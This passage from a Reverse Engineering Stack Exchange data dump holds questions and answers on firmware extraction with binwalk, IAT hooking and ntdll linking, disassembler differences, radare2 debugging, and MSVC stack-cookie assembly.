noreferrer&quot;&gt;https://d3nevzfk7ii3be.cloudfront.net/igi/NYUMNKWYff1QtBte.huge&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Board images:&#xA;&lt;a href=&quot;https://www.ifixit.com/Guide/Aether+Cone+Speaker+Disassembly/102058&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ifixit.com/Guide/Aether+Cone+Speaker+Disassembly/102058&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Firmware: This can be got from the GitHub page as a .morse file.&#xA;&lt;a href=&quot;https://github.com/AetherThings/AetherCone/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/AetherThings/AetherCone/wiki&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Investigation:&#xA;I have tried using binwalk to examine and extract the files but I have had limited success. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk FRM000104.03.01.0013.morse&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION`&#xA;&#xA;--------------------------------------------------------------------------------&#xA;&#xA;27842795      0x1A8D8EB       StuffIt Deluxe Segment (data): f&#xA;30729686      0x1D4E5D6       MySQL MISAM compressed data file Version 7&#xA;57321984      0x36AAA00       POSIX tar archive, owner user name: &quot;ader.img&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have extracted the firmware to give this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ls -larth _FRM000104.03.01.0013.morse-0.extracted/&#xA;total 29M&#xA;-rw-rw-r--  1    500   501   27 Oct  2  2015 version.txt&#xA;-rw-rw-r--  1    500   501  256 Oct  2  2015 signature.sha256&#xA;-rwxr-xr-x  1    500   501   12 Oct  2  2015 pre-inst.sh&#xA;-rwxr-xr-x  1    500   501  184 Oct  2  2015 post-inst.sh&#xA;-r--r-----  1    500   501 1.9K Oct  2  2015 cert.pem&#xA;-rw-rw-r--  1    500   501   31 Oct  2  2015 bootloader.ver&#xA;-rw-rw-r--  1    500   501 221K Oct  2  2015 bootloader.img&#xA;-rw-r--r--  1    root  root 29M Sep  8 08:06 1A8D8EB.sit&#xA;-rw-r--r--  1    root  root 231K Sep 8 08:07 36AAA00.tar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try and read these, there is nonsense. So I tried using strings, but I cannot get anything useful out of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# strings version.txt&#xA;# strings post-inst.sh&#xA;    ^       Gj&#xA;    p8-wR&#xA;# strings pre-inst.sh&#xA;# strings signature.sha&#xA;256&#xA;=DHri,&#xA;Z@pH&#xA;A9!J8a&#xA;# strings cert.pem&#xA;W69)&#xA;fPq2&#xA;:)M7&#xA;vj%&amp;lt;u&#xA;)s|5&#xA;];DE&#xA;OEFvD(&#xA;C&quot;s6m&#xA;-T}1&#xA;Jjw-&#xA;FkY'&#xA;(Z4G&#xA;bf&amp;lt;`&#xA;]*$+&#xA;?j[\&#xA;CVBG&#xA;p%XMi&#xA;|[q:&#xA;1nQ^&#xA;NAf&amp;amp;&#xA;' f&amp;amp;K&#xA;pt[679&#xA;# strings bootloader.ver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some assistance as I have definitely run out of ideas and talent now. My main aim would be to either get the root password as ssh is open on the device or be able to edit the firmware file to allow root so that I can update packages and hopefully keep this thing alive, people have had issues with the spotify connect plugin not working with more recent spotify versions. &lt;/p&gt;&#xA;" OwnerUserId="29549" LastEditorUserId="18317" LastEditDate="2019-09-08T15:25:10.490" LastActivityDate="2021-01-20T21:30:09.883" Title="Reverse Engineering Firmware Aether Cone" Tags="|firmware|arm|binwalk|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22075" PostTypeId="2" ParentId="22070" CreationDate="2019-09-08T10:01:19.253" Score="4" Body="&lt;h1&gt;When does the PE loader fill in the IAT?&lt;/h1&gt;&#xA;&lt;p&gt;The IAT is updated at load time by the PE Loader [1], this is called &lt;em&gt;Load-time dynamic linking&lt;/em&gt;, as opposed to &lt;em&gt;Run-time dynamic linking&lt;/em&gt;, where &lt;code&gt;LoadLibrary/GetProcAddress&lt;/code&gt; are necessary.&lt;/p&gt;&#xA;&lt;h1&gt;Hooking an API not included in Import Address Table&lt;/h1&gt;&#xA;&lt;p&gt;There are several ways to do that actually, and Export Address Table hooking is one of them. However, your hook must be installed before the target application looks up the API you want to hook.&lt;/p&gt;&#xA;&lt;h1&gt;Include Nt/Zw APIs in the IAT&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;also does anyone know why functions like ZwQuerySystemInformation dont get included in IAT but stuff like Sleep and GetProcAddress Does?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The only reason &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt; is not included in the IAT is because you didn't tell your linker to do it for you. You need need to link against ntdll import library (available by default in VS2017), or you can build you own.&lt;/p&gt;&#xA;&lt;p&gt;On my system with &lt;code&gt;mingw&lt;/code&gt; and &lt;code&gt;clang&lt;/code&gt; installed, I was able to take the code from [2], remove any &lt;code&gt;GetProcAddress/LoadLibrary&lt;/code&gt; calls, and build it. This gives:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;winternl.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;    &#xA;    /* load the ntdll.dll */&#xA;    PVOID Info;&#xA;    /* create the string in the right format */&#xA;    UNICODE_STRING filename;&#xA;    RtlInitUnicodeString(&amp;amp;filename, L&amp;quot;C:\\temp.txt&amp;quot;);&#xA;&#xA;    /* initialize OBJECT_ATTRIBUTES */&#xA;    OBJECT_ATTRIBUTES obja;&#xA;    InitializeObjectAttributes(&amp;amp;obja, &amp;amp;filename, OBJ_CASE_INSENSITIVE, NULL, NULL);&#xA;&#xA;    /* call NtOpenFile */&#xA;    IO_STATUS_BLOCK iostatusblock;&#xA;    HANDLE file = NULL;&#xA;    NTSTATUS stat = NtOpenFile(&amp;amp;file, FILE_WRITE_DATA, &amp;amp;obja, NULL, NULL, NULL);&#xA;    if(NT_SUCCESS(stat)) {&#xA;        printf(&amp;quot;File successfully opened.\n&amp;quot;);&#xA;    }&#xA;    else {&#xA;        printf(&amp;quot;File could not be opened.\n&amp;quot;);&#xA;    }&#xA;&#xA;    getchar();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To build, I use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;clang -target x86_64-w64-windows-gnu toto.c -o toto.exe -lntdll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, &lt;em&gt;IDA Free 7.0&lt;/em&gt; allows us to see that &lt;code&gt;NtOpenFile&lt;/code&gt; was successfully included in the IAT:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NSKXI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NSKXI.png&quot; alt=&quot;NTDLL APIs in the IAT&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;References&lt;/h1&gt;&#xA;&lt;p&gt;[1]: The Rootkit Arsenal, Bill Blunder, Chapter 11, p.480&lt;/p&gt;&#xA;&lt;p&gt;[2]: Calling NTDLL functions directly, &lt;a href=&quot;https://resources.infosecinstitute.com/calling-ntdll-functions-directly&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://resources.infosecinstitute.com/calling-ntdll-functions-directly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16445" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-09-08T10:15:00.293" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22076" PostTypeId="1" AcceptedAnswerId="22085" CreationDate="2019-09-08T10:28:13.337" Score="1" ViewCount="1521" Body="&lt;p&gt;As far as my level of understanding goes, the only difference between a 32 bit and 64 bit disassembler is that the produced assembler-code of a 32 bit disassembler is only using 32 bit assembly instructions, while a 64 bit disassembler also makes use of 64 bit instructions and registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions is, what are the advantages of using a 64 bit disassembler over a 32 bit disassembler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if I want to disassemble a program compiled for a 64 bit machine, can I use a 32 bit disassembler like OllyDBG for that and what how would the output differ from a 64 bit disassembler like x64dbg?&lt;/p&gt;&#xA;" OwnerUserId="29550" LastEditorUserId="14622" LastEditDate="2019-12-08T18:21:31.320" LastActivityDate="2019-12-08T18:21:31.320" Title="Difference between 32 bit and 64 bit disassemblers" Tags="|disassembly|debuggers|disassemblers|x64dbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22077" PostTypeId="1" AcceptedAnswerId="22091" CreationDate="2019-09-08T14:46:16.983" Score="0" ViewCount="123" Body="&lt;p&gt;&lt;img src=&quot;https://websitetoapk.com/images/screenshots/v3.4_1.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I recently came across this tool and was amazed by its size and how it can build release-apk, without even bothering about Android development environment set up on the machine, neither Cordova nor Android Studio is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit of research showed me that the what this tool is doing is simple (most related material I found was of 2008-2014). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being new in reverse engineering, I wonder if there is a way I can understand its workaround and build a similar tool to automate my Cordova projects.&lt;/p&gt;&#xA;" OwnerUserId="29552" LastActivityDate="2019-09-10T05:57:36.607" Title="Is there a way to reverse engineer this small tool &quot;website2apk&quot; and design my own?" Tags="|android|executable|apk|" AnswerCount="1" CommentCount="2" ClosedDate="2019-09-12T01:22:29.400" ContentLicense="CC BY-SA 4.0" />
  <row Id="22080" PostTypeId="1" CreationDate="2019-09-08T22:00:37.770" Score="1" ViewCount="312" Body="&lt;p&gt;I'd like to find a sequence of values in a 32MB data stream, where the values are all between 0x00 and 0x09 and there are about 20-40 of them in a row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this can be done with Hex Workshop, but i have no clue how...&lt;/p&gt;&#xA;" OwnerUserId="29559" LastActivityDate="2019-09-09T08:27:28.837" Title="How to find sequence of numbers from 0-9 in a binary file?" Tags="|binary-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22081" PostTypeId="2" ParentId="22080" CreationDate="2019-09-09T04:48:20.713" Score="1" Body="&lt;p&gt;I would be inclined to write a quick python script to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with a few lines of code you should be able to break the binary down (complete or just a section) into an array of bytes and then look through and the array and compare each to see if it falls into your sequence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out this library below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/erocarrera/pefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/erocarrera/pefile&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29562" LastActivityDate="2019-09-09T04:48:20.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22082" PostTypeId="1" AcceptedAnswerId="26254" CreationDate="2019-09-09T07:11:11.910" Score="5" ViewCount="595" Body="&lt;p&gt;I need to get an ELF binary's total count of&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Function call instruction&lt;/li&gt;&#xA;&lt;li&gt;conditional jump (branch) instruction&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The binary could be any CPU architecture, like x64, ARM, MIPS, Motorola 68K, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be best if the disassembly tool can provide an intermediate representation/language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found there are several candidate options for that, like IDA Pro, Binary Ninja, Radare2, Capstone, Angr, Bap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally feel Radare2 is a good tool to implement that.&#xA;But I searched on the Internet, most tutorials show how to investigate specific code pieces for a specific function (e.g., main).&#xA;How to directly get the whole IR (called ESIL) after disassembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or any suggestions on accomplishing this task?&lt;/p&gt;&#xA;" OwnerUserId="28792" LastActivityDate="2020-11-05T15:52:38.057" Title="Get certain instruction count for multi-architecture binaries" Tags="|disassembly|radare2|arm|mips|angr|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22083" PostTypeId="2" ParentId="22080" CreationDate="2019-09-09T08:27:28.837" Score="0" Body="&lt;p&gt;grep can do what you ask for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;f:\usr\bin\ls -lag foo.bin&#xA;-rw-r--r-- 1 197121 33554432 Sep  9 13:31 foo.bin&#xA;&#xA;:\&amp;gt;f:\usr\bin\grep  -obUaP &quot;\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39&quot; foo.bin&#xA;96:0123456789&#xA;336:0123456789&#xA;832:0123456789&#xA;1472:0123456789&#xA;2144:0123456789&#xA;3328:0123456789&#xA;25895568:0123456789&#xA;25895579:0123456789&#xA;25895590:0123456789&#xA;25895601:0123456789&#xA;25895612:0123456789&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-09T08:27:28.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22084" PostTypeId="1" CreationDate="2019-09-09T09:27:58.663" Score="2" ViewCount="224" Body="&lt;p&gt;I have tiny program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        0x08048080      66a1a0900408   mov ax, word loc.name       &#xA;        0x08048086      66bbafbe       mov bx, 0xbeaf&#xA;        0x0804808a      66891da09004.  mov word loc.name, bx    ; [0x80490a0:2]=0xdead&#xA;&#xA;        0x08048091      31c0           xor eax, eax&#xA;        0x08048093      66a1a0900408   mov ax, word loc.name       &#xA;        0x08048099      b801000000     mov eax, 1&#xA;        0x0804809e      cd80           int 0x80&#xA;        0x080480a0      ad             lodsd eax, dword [esi]&#xA;        0x080480a1      de00           fiadd word [eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when program changing memory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x0804808a      66891da09004  mov word loc.name, bx   ; [0x80490a0:2]=0xdead&lt;/p&gt;&#xA;&#xA;&lt;p&gt;memory dump (with px @ 0x80490a0) not changed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there possible to view memory change in real time when debugging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="29564" LastActivityDate="2023-05-24T02:07:31.060" Title="radare2 memory changing in debug mode" Tags="|radare2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22085" PostTypeId="2" ParentId="22076" CreationDate="2019-09-09T10:48:16.760" Score="3" Body="&lt;p&gt;There are no set definitions for &quot;32-bit disassembler&quot; and &quot;64-bit disassembler&quot;. The terms are in fact ambiguous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;32-bit and 64-bit just refer to CPU architectures. Specifically to things such as register size and bus size. These can apply to many things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, in the case of a disassembler, they can apply to two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The CPU architecture for which the disassembler binary is compiled&lt;/li&gt;&#xA;&lt;li&gt;The CPU architecture which the disassembler is capable of disassembling.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Furthermore, there are multiple CPU families which come in both 32- and 64-bit flavours. The most relevant today are Intel &amp;amp; AMD, and ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are all independent. You could have a disassembler compiled to run on 32-bit Intel machines which is capable of disassembling binaries that are supposed to run on 64-bit ARM processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the same CPU, a 64-bit architecture may or may not be an extension of a previous 32-bit architecture. This is the case with Intel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a 32-bit binary will typically be able to run on a 32-bit machine or a 64-bit machine, but a 64-bit binary will only be able to run on a 64-bit machine because it will use instructions, registers, addressing modes, etc than the 32-bit machine does not support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise if you try to disassemble a 64-bit binary using a disassember that is designed only to disassemble 32-bit binaries of the same CPU family, it will only recognize the 32-bit instructions, registers, addressing modes, etc. All of the 64-bit-specific stuff will just confuse the disassembler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with either OllyDBG or x64dbg so I don't know what they are capable of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You seem to be under the impression that a &quot;32 bit disassembler&quot; will somehow convert or translate 64 bit code into 32 bit code. That is not possible. That would be in the realm of cross-compiling and emulation.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2019-09-09T10:48:16.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22086" PostTypeId="1" AcceptedAnswerId="22126" CreationDate="2019-09-09T12:36:32.200" Score="2" ViewCount="1020" Body="&lt;p&gt;I am trying to learn RE and I decided to explore this field by reverse engineering a simple C++ program, which I post here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SIMPLE C++ PROGRAM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    int value;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Hello Word&quot;;&#xA;    std::cin &amp;gt;&amp;gt; value;&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled it using MSVC compiler (VS 2017, x86 build). I wanted to understand the assembly language behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For RE I use Ghidra tool. I am currently focused only on understanding the assembly part, rather than Decompiled part, because that one makes less sense to me at the moment, but mayber if I understand the Assembly part, I would be able to decode the decompiled output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ASSEMBLY OUTPUT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                     //&#xA;                     // .text &#xA;                     // ram: 00401000-00401f9a&#xA;                     //&#xA;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     int __cdecl main(void)&#xA;     int               EAX:4          &amp;lt;RETURN&amp;gt;&#xA;     int               EAX:4          value                                   XREF[1]:     00401032(W)  &#xA;     char *            Stack[-0x8]:4  hello_string                            XREF[2]:     0040100d(W), &#xA;                                                                                           0040102b(R)  &#xA;     undefined1        Stack[-0xc]:1  local_c                                 XREF[1]:     00401021(*)  &#xA;                     .text$mn                                        XREF[3]:     0040012c(*), 00400204(*), &#xA;                     main                                                         __scrt_common_main_seh:00401500(&#xA;00401000 55              PUSH       EBP&#xA;00401001 8b ec           MOV        EBP,ESP&#xA;00401003 83 ec 08        SUB        ESP,0x8&#xA;00401006 a1 04 30        MOV        EAX,[___security_cookie]                         = BB40E64Eh&#xA;         40 00&#xA;0040100b 33 c5           XOR        EAX,EBP&#xA;0040100d 89 45 fc        MOV        dword ptr [EBP + hello_string],EAX&#xA;00401010 8b 0d 54        MOV        ECX,dword ptr [-&amp;gt;MSVCP140.DLL::std::cout]        = 000027ec&#xA;         20 40 00&#xA;00401016 e8 25 00        CALL       std::operator&amp;lt;&amp;lt;&amp;lt;struct_std::char_traits&amp;lt;char&amp;gt;_&amp;gt;  basic_ostream&amp;lt;char,struct_std::c&#xA;         00 00&#xA;0040101b 8b 0d 4c        MOV        ECX,dword ptr [-&amp;gt;MSVCP140.DLL::std::cin]         = 0000284a&#xA;         20 40 00&#xA;00401021 8d 45 f8        LEA        EAX=&amp;gt;local_c,[EBP + -0x8]&#xA;00401024 50              PUSH       EAX&#xA;00401025 ff 15 34        CALL       dword ptr [-&amp;gt;MSVCP140.DLL::std::basic_istream&amp;lt;&#xA;         20 40 00&#xA;0040102b 8b 4d fc        MOV        ECX,dword ptr [EBP + hello_string]&#xA;0040102e 33 c0           XOR        EAX,EAX&#xA;00401030 33 cd           XOR        ECX,EBP&#xA;00401032 e8 fe 02        CALL       @__security_check_cookie@4                       undefined @__security_check_cook&#xA;         00 00&#xA;00401037 8b e5           MOV        ESP,EBP&#xA;00401039 5d              POP        EBP&#xA;0040103a c3              RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to follow the assembly code line by line. I understand some basics of the registers mentioned there and stack allocation, but I get lost during the &lt;code&gt;dword ptr MOV&lt;/code&gt; instructions and then that &lt;code&gt;CALL&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if anyone could please elaborate to me what is happening actually there, I will start to better understand how to approach assembly code when doing RE tasks.&lt;/p&gt;&#xA;" OwnerUserId="29567" LastActivityDate="2019-09-14T20:16:56.950" Title="Understanding RE output of a simple C++ program" Tags="|assembly|c++|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22087" PostTypeId="2" ParentId="22086" CreationDate="2019-09-09T15:28:55.457" Score="0" Body="&lt;p&gt;I think that in this case, &lt;code&gt;hello_string&lt;/code&gt; is, in fact, referring to the security cookie storage location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;0040100d&lt;/code&gt; the stack cookie is saved to the stack. You can &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16241/what-could-be-the-purpose-of-xoring-esp-with-a-global-variable-stack-canary-pr&quot;&gt;Read more here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2019-09-09T15:41:12.117" LastActivityDate="2019-09-09T15:41:12.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22088" PostTypeId="1" AcceptedAnswerId="22096" CreationDate="2019-09-09T20:26:22.507" Score="2" ViewCount="572" Body="&lt;p&gt;I have an .idb and PE file of an old version of an application. Now I want to transfer all knowledge to a new database for the new version of PE. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that I need to compare all the functions and move the information if their contents match (the addresses may be different). How to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is clear that I need to calculate the hash from each function, find the intersections, and then compare the matched functions byte-to-byte. It's about whether there are ready-made tools for this?&lt;/p&gt;&#xA;" OwnerUserId="26081" LastActivityDate="2019-09-10T13:56:51.660" Title="How to migrate IDA/HexRays database to the new version of the same application?" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22090" PostTypeId="2" ParentId="22086" CreationDate="2019-09-10T03:39:11.530" Score="0" Body="&lt;p&gt;It looks there's something wrong with your code, it looks like there's no parameter for the operator&amp;lt;&amp;lt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you try to add either a '\n' on the string or use &lt;code&gt;&amp;lt;&amp;lt; std::endl&lt;/code&gt; and see if the generated code is different?&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-09-10T03:39:11.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22091" PostTypeId="2" ParentId="22077" CreationDate="2019-09-10T05:57:36.607" Score="0" Body="&lt;p&gt;Depending on what the tool is written in.&#xA;If you can it with binary analyser like ProtectionId or Pied it should tell you what compile was used to build the binary.&#xA;If it is build using the .NET library then you can use a decompiler like dnSpy or Reflector to view the source code. Java is also reflectable so a tool like JD/JD-GUI would be able to help recover the source code.&#xA;If it is a native binary (C/C++) it becomes a little trickier, you will need to use something like hexrays or ghidra to decompile binary and give a C like pseudo code which can be used to rewrite an application.&#xA;Hopefully this helps&lt;/p&gt;&#xA;" OwnerUserId="29562" LastActivityDate="2019-09-10T05:57:36.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22092" PostTypeId="2" ParentId="22086" CreationDate="2019-09-10T07:58:30.067" Score="0" Body="&lt;p&gt;By default __security_cookie &lt;strong&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/preprocessor/strict-gs-check?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;is not enabled for all functions&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;msvc vs 2017 does not insert __security_check for the code in question&lt;br&gt;&#xA;either with optimizations or without optimizations  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i had to force it with #pragma &lt;/p&gt;&#xA;&#xA;&lt;p&gt;source , commandline for compiling and disassembly as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:/&amp;gt;dir /b si*&#xA;simp.cpp&#xA;&#xA;:/&amp;gt;type simp.cpp&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#pragma strict_gs_check(on) &amp;lt;&amp;lt;&amp;lt; had to force stricter security checks&#xA;int main() {&#xA;    int value;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Hello Word&quot;;&#xA;    std::cin &amp;gt;&amp;gt; value;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;\compiled and linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:/&amp;gt;cl /Zi /W4 /analyze /Od /GS /EHsc simp.cpp /link /release&#xA;Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27025.1 for x86&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;simp.cpp&#xA;Microsoft (R) Incremental Linker Version 14.16.27025.1&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;/out:simp.exe&#xA;/debug&#xA;/release&#xA;simp.obj&#xA;&#xA;:/&amp;gt;simp.exe&#xA;Hello Word&#xA;&#xA;p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:/&amp;gt;cdb -c &quot;uf simp!main;q&quot; simp.exe | awk &quot;/Reading/,/quit/&quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'uf simp!main;q'&#xA;simp!main:&#xA;013a1190 55              push    ebp&#xA;013a1191 8bec            mov     ebp,esp&#xA;013a1193 83ec08          sub     esp,8&#xA;013a1196 a16c904201      mov     eax,dword ptr [simp!__security_cookie (0142906c)]&#xA;013a119b 33c5            xor     eax,ebp&#xA;013a119d 8945fc          mov     dword ptr [ebp-4],eax&#xA;013a11a0 68f0214101      push    offset simp!__xt_z+0x10 (014121f0)&#xA;013a11a5 6830ab4201      push    offset simp!std::cout (0142ab30)&#xA;013a11aa e861010000      call    simp!std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt; &amp;gt; (013a1310)&#xA;013a11af 83c408          add     esp,8&#xA;013a11b2 8d45f8          lea     eax,[ebp-8]&#xA;013a11b5 50              push    eax&#xA;013a11b6 b9b8aa4201      mov     ecx,offset simp!std::cin (0142aab8)&#xA;013a11bb e8b0280000      call    simp!std::basic_istream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt; &amp;gt;::operator&amp;gt;&amp;gt; (013a3a70)&#xA;013a11c0 33c0            xor     eax,eax&#xA;013a11c2 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;013a11c5 33cd            xor     ecx,ebp&#xA;013a11c7 e8e63a0200      call    simp!__security_check_cookie (013c4cb2)&#xA;013a11cc 8be5            mov     esp,ebp&#xA;013a11ce 5d              pop     ebp&#xA;013a11cf c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-10T07:58:30.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22093" PostTypeId="1" AcceptedAnswerId="22095" CreationDate="2019-09-10T08:22:54.257" Score="0" ViewCount="346" Body="&lt;p&gt;I need to extract all arguments from &lt;code&gt;CallStaticObjectMethodV&lt;/code&gt; JNI call on ARMv7 Android at Assembler level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advice how is &lt;code&gt;va_list&lt;/code&gt; implemented on low level in ARMv7 Android?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-09-10T09:45:01.977" Title="How is `va_list` implemented in Assembler level on ARMv7 Android?" Tags="|assembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
